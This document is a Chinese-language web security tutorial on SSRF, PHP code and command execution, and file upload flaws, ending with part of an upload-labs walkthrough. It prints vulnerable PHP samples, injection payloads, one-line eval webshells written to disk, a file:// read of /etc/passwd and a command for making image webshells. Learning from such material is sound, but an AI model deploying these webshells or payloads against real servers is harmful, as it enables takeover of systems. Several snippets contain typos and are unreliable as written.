SSRF(服务器请求伪造)
SSRF(Server-Side Request Forgery:服务器端请求伪造)。SSRF漏洞就是通过篡改获取资源的请求发送给服务器,但是服务器并没有检测这个请求是否合法的,然后服务器以他的身份来访问其他服务器的资源。通过这个机制,攻击者可以传入任意的地址来让后端服务器对其发起请求,并返回目标地址请求的数据。
SSRF是一种由攻击者构造请求,由服务端发起请求的安全漏洞。一般情况下,SSRF攻击的目标是外网无法访问的内部系统(正因为请求是由服务端发起的,所以服务端能请求到与自身相连而与外网隔离的内部系统)。
原理
服务器端提供了从其他服务器应用获取数据的功能,且没有对目标地址做过滤和限制。
正常访问网站流程:
用户访问a网站(任何人都可以访问)
b网站是a网站的内部OA网站(普通用户无法访问)
用户访问a --》 发送请求 --》a网站服务器接收请求,处理(没有过滤) --》 返回响应给用户
利用ssrf:
用户访问a --》发送访问内网服务器的请求(例如在该网站加载一个别的网站的图片http://www.xxx.com/xx.php?image=内网服务器地址)--》 a网站服务器接收请求,处理(没有过滤)--》返回响应给用户
利用方式
主要有:
-
对外网、服务器所在内网、本地进行端口扫描,获取一些服务的banner信息。
-
攻击运行在内网或本地的应用程序。
-
对内网Web应用进行指纹识别,识别企业内部的资产信息。
-
攻击内外网的web应用,主要是使用HTTP GET请求就可以实现的攻击(比如strust2、SQLi等)。
-
利用file协议读取本地文件等。(file://etc/passwd)
-
利用SSRF漏洞连接其他网站信息(如果这个其他网站有木马,即可使目标服务器中招)
可利用的协议和php相关函数
协议
-
http://
-
file://
-
dict://
-
gopher://:SSRF深度解析Gopher协议-CSDN博客
可利用的php相关函数
-
file_get_contents(url):读取对应网页内容
<?php $url = isset($_GET['url']) ? $_GET['url'] : ''; if($url){ $content = file_get_contents($url); echo $content; } ?>
-
fscokopen():读取对应网页内容
-
curl_exec():抓取url并传递到浏览器
<?php // 获取参数 $url = isset($_GET['url']) ? $_GET['url'] : ""; if ($url){ // 初始化curl $ch = curl_init(); // 设置URL参数 curl_setopt($ch, CURLOPT_URL, $url); // 设置是否返回响应头 curl_setopt($ch, CURLOPT_HEADER, 0); // 执行 $result = curl_exec($ch); // 关闭 curl_close($ch); }
如何发现SSRF
-
黑盒测试:看传参,参数名为:url/file/link/src/target/source/imageURL/display等,参数值为完整的地址
-
白盒测试:代码审计。定位上述提到的三个危险函数,如果出现这三个函数才有可能出现SSRF漏洞。
修复建议
-
过滤返回信息,验证远程服务器对请求的响应是比较容易的方法。如果web应用是去获取某一种类型的 文件。那么在把返回结果展示给用户之前先验证返回的信息是否符合标准。
-
统一错误信息,避免用户可以根据错误信息来判断远端服务器的端口状态。
-
限制请求的端口为http常用的端口,比如,80,443,8080,8090。
-
黑名单内网ip。避免应用被用来获取获取内网数据,攻击内网。
-
禁用不需要的协议。仅仅允许http和https请求。可以防止类似于file:///,gopher://,ftp:// 等引起的问题。
RCE(远程命令/代码执行)
RCE(remote command/code execute) 即远程命令/代码执行。可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。RCE分为远程命令执行ping和远程代码执行eval。
RCE原理
在Web应用中有时候程序员为了灵活性、简洁性,会在代码调用代码或命令执行函数去处理。例如在一些用于调用能将字符串转化为代码的函数时,没有对用户输入进行严格限制,从而造成代码执行漏洞。
代码执行涉及的函数和原理
eval()、assert()、preg_replace()、create_function()、array_map()、 call_user_func()、call_user_func_array()、array_filter()、uasort()、文件操作函数、动态函数($a($b))
原理:PHP中可以执行代码的函数,常用于编写一句话木马,可能导致代码执行漏洞。
eval()
eval()函数常用于一句话木马。可以一次性执行多条语句。
<?php eval(phpinfo()); ?>
eval()函数不属于PHP函数,在php.ini文件中语句disable_functions = eval是无用的。如果需要禁用,则需要安装插件Suhosin。
assert()
与eval()类似,如果传入的参数是字符串,字符串则会被当作PHP代码来执行。一次性只能执行一条。
<?php assert($_REQUEST['shell']); ?>
// 利用
http://xx.xx/xx.php?shell=phpinfo();
禁用
在php.ini中修改为:disable_functions = assert
preg_replace
正则替换函数。
preg_replace ( $pattern , $replacement , $subject [, int $limit = -1 [, int&$count ]] )
搜索subject中匹配pattern的部分替换为replacement。
preg_replace函数结合正则中/e使用时replacement参数则会当作PHP代码。(PHP7.0.0之前可用)
//replacement参数和pattern参数可控大概率可用利用
//pattern必须要与subject匹配才能执行replacement,需要不停尝试,只有匹配到了,第二个参数里面写的命令才能执行。
echo @preg_place('/xxx/e',$_REQUEST['test'],'abueakkacxxx')
//实际应用写法
preg_replace($_REQUEST['1'], $_REQUEST['2'], "anima");
create_function
create_function($args,$code) :创建一个匿名函数,$args作为函数的参数,$code是函数的函数体代码。
$myfunc = create_function('$name','echo $name');
//调用
$myfunc('jack');
//实际利用
<?php
$id = $_GET['id'];
$code = 'return $a."_"' . $id . ';';
// 动态创建函数
$func = create_function('$a', $code);
//等价于
// function func($a, $id)
// {
// return $a . '_' . $id;
// }
$func(1);
?>
payload:
?id=;}phpinfo();/*
==》
<?php
function func($a, $id)
{
//return $a . '_' . $id;
return $a_;}
phpinfo();/*
}
?>
array_map
array_map(func,$array):将数组里面的值挨个放到函数中执行。
要想利用造成RCE需要:两个参数都是可控的。缺一不可。
<?php
//获取func参数的值
$function = isset($_GET['func'])? $_GET['func']:'';
//获取array参数的值
$args = isset($_GET['args'])?$_GET['args']:'';
// 判断两个参数是否都有传值,如果有则进行下一步。
if($function && $args){
// 把args参数放到数组里(才能满足array_map()函数的使用规则)
$array[0]=$args;
return array_map($function,$array);
}
// 利用:?func=assert&args=phpinfo()
call_user_func()/call_user_func_array()
call_user_func($func,$args)/call_user_func_array($func,$array):第一个参数作为回调函数,其余参数作为回调函数的参数。
<?php
// call_user_func()
$func = isset($_GET['func'])?$_GET['func']:'';
$args = isset($_GET['args'])?$_GET['args']:'';
if($func & $args){
call_user_func($func,$args);
}
?>
<?php
//call_user_func_array() 第二个参数需要是数组
$func = isset($_GET['func'])?$_GET['func']:'';
$args = isset($_GET['args'])?$_GET['args']:'';
if($func & $args){
$array[0] = $args
call_user_func($func,$array);
}
?>
array_filter()
array_filter($array[,callback]):将array数组中的每个值传递到callback函数。类似于call_user_func_array()不做演示。
文件操作函数
-
file_put_contents():file_put_contents(filename,content)将字符串写入文件。
<?php $text = '<?php @eval($_REQUEST['shell'];) ?>'; file_put_contents('shell.php',$text); ?>
-
file_get_contents():将文件读入一个字符串中。
-
fputs:fputs(file,string[,length])文件写入。
-
<?php $file =fopen('shell.php','w'); $text = '<?php @eval($_REQUEST['shell'];) ?>'; echo fputs($file,$text); //fclose()必不可少 fclose($file) ?>
补充
-
动态函数,直接演示更容易懂。
<?php $func = "system"; $args = "calc"; $func($args); // ==> system(calc); ?>
这种写法更灵活,代码审计的时候如何定位呢?所有代码看一遍?这是下下策,还是要清楚模块对应的功能猜测可能有的问题。
-
双引号二次解析:PHP5.5及以上可以使用。
<?php // 写法:"xxx" $p = phpinfo(); $t = "$p" //"${xxx}" $t2 = "${eval($_REQUEST[6])}"; ?>
代码执行修复建议
-
敏感函数禁用
-
过滤变量
-
waf产品
命令执行涉及的PHP相关函数及原理
应用程序有时需要调用一些执行系统命令的函数、如在PHP中,使用system、exec、shell_exec、 passthru、popen、proc_popen等函数可以执行系统命令。如果能够控制这些函数中的参数,就可以将恶意的系统命令拼接到正常命令中,从而造成命令执行攻击,这就是命令执行漏洞。
system/passthru
系统命令。
// 用法:
system($command); //$command是字符串
passthru($command);
// 演示:
system('ping www.baidu.com');
// 写webshell
system('echo "<?php @eval($_REQUEST['shell']); ?>" > 1.php');
exec()
与system()基本一致。
不同点:system在原进程上开辟了一个新进程,exec则是开辟新进程覆盖原有进程,故而exec的返回值会影响原进程而system不会。exec()需要自行输出,且只输出最后一行数据。
// 用法:
exec($command); //$command是字符串
// 演示:
echo exec('ping www.baidu.com');
exec('echo "<?php eval($_REQUEST['shell']); ?>" > 1.php');
*shell_exec
PHP中,``等同于执行shell_exec;在MySQL中``用于屏蔽关键字,如:select * from `order`。
// 用法:
shell_exec($command) // $command是字符串
popen
返回值是文件指针。需要用fread()读取返回值。
// 用法:
popen(command,mode);
// 演示
$res = popen('ping www.baidu.com','r');
echo fread($res,1024); //读取前1024字节
命令执行修复建议
-
减少使用命令执行函数;
-
对客户端提交的变量提前做过滤和检测;
-
使用动态函数时,确保使用的函数是符合要求的;
文件上传
在现代互联网的web应用程序中,文件上传是一种常见的功能。例如,用户上传头像、提交文件。向用户提供的功能越多,受攻击的风险越大,如果黑客可以利用文件上传漏洞将恶意执行脚本程序上传到服务器,服务器将受到危害。
文件上传原理
上传文件时,如果服务器代码未对客户端上传的文件进行严格的验证和过滤,就容易造成可以上传任意文件的情况,包括上传脚本文件(asp、aspx、php、jsp等格式的文件)。
目前互联网上用于识别文件类型的方式是MIME类型。
MIME(Multipurpose Internet Mail Extensions)类型是一种用于描述消息内容的格式。它的目的是为了让不同类型的应用程序之间能够互相传输和处理消息。MIME类型通常由两部分组成:一部分是主类型(如文本、图像、音频、视频等),另一部分是子类型(如纯文本、JPEG图像、MP3音频等),两者之间用斜杠分隔,例如:“text/plain”、“image/jpeg”、“audio/mp3”等。
MIME类型是通过HTTP头部的Content-Type字段来指定。这个字段的值可以通过抓包修改,那么可以利用这点绕过对后缀名的黑名单限制吗?可以尝试。
文件上传漏洞的核心:
-
文件能够上传
-
文件能被解析,能够访问到上传的文件,并且能够被解析成对应的语言。
-
文件上传漏洞和语言本身无关。
文件上传漏洞通常出现的位置
-
个人中心(头像上传);
-
内容管理:富文本编辑器、产品图片、banner图;
-
附件;
-
插件/主题(通常以zip格式上传,可能会自动解压或者需要安装才会解压,通常解压在plugins目录、themes目录);
文件上传漏洞的危害
非法用户可以利用上传的恶意脚本文件控制整个网站,甚至控制服务器。这个恶意的脚本文件,又称之为webshell,也可将webshell脚本称为一种网页后门,webshell脚本具有强大的功能,比如查看服务器目录,服务器中的文件,执行系统命令等。黑客得到webshell后,可以读取修改服务器上的文件,或者导致服务器沦陷。任意文件上传漏洞可能造成很多严重的影响,例如主机系统失陷、文件系统或数据库过载、被作为攻击后端系统的跳板机等。
修复建议
-
对上传的文件,返回数据包时隐藏上传文件的路径;
-
对文件格式限制,只允许某些格式上传;
-
设置文件名长度限制,尽可能限制允许的字符;
-
对文件格式进行校验,前端跟服务器都要进行校验(前端校验扩展名,服务器校验扩展名、Content_Type等),进行MIME文件类型安全检测,上传的文件大小限制;
-
将上传目录放置到项目工程目录之外,当做静态资源文件路径,并且对文件的权限进行设定,禁止文件下的执行权限;
-
通过 Token 或 Referer 验证文件上传功能,防止CSRF攻击
靶场演示
uploads-labs靶场通关后续会发整理的过关过程。
-
靶场1:uploads-labs;
upload-labs
Pass-01 前端js校验
尝试直接上传shell.php,提示不允许上传.php类型,仅允许.jpg|.png|.gif类型。
方法一
F12检查表单元素,该表单提交时会执行checkFile()函数。
定位checkFile函数。这一关在前端对上传文件的类型做了校验。
如果在表单提交时,不触发这个函数,即可以上传.jpg、.png、.gif之外的文件。删除onsubmit事件即可。
方法二
验证了在文件上传原理中提到的,绕过MIME,通过抓包修改值。
将一句话木马的文件后缀修改为允许上传的文件类型,达到绕过前端验证的目的,但是由于文件类型的修改则无法以php格式被解析。鉴于目前可能仅仅做了前端校验,所以先上传,抓包,做一些修改。
放包。
图片马制作
windows系统下制作图片马。命令行执行
//需要一张图片,一个一句话木马文件
copy xx.jpg/b + shell.php/a tupianma.jpg
copy tx1.jpg/b + shell.php/a ma.jpg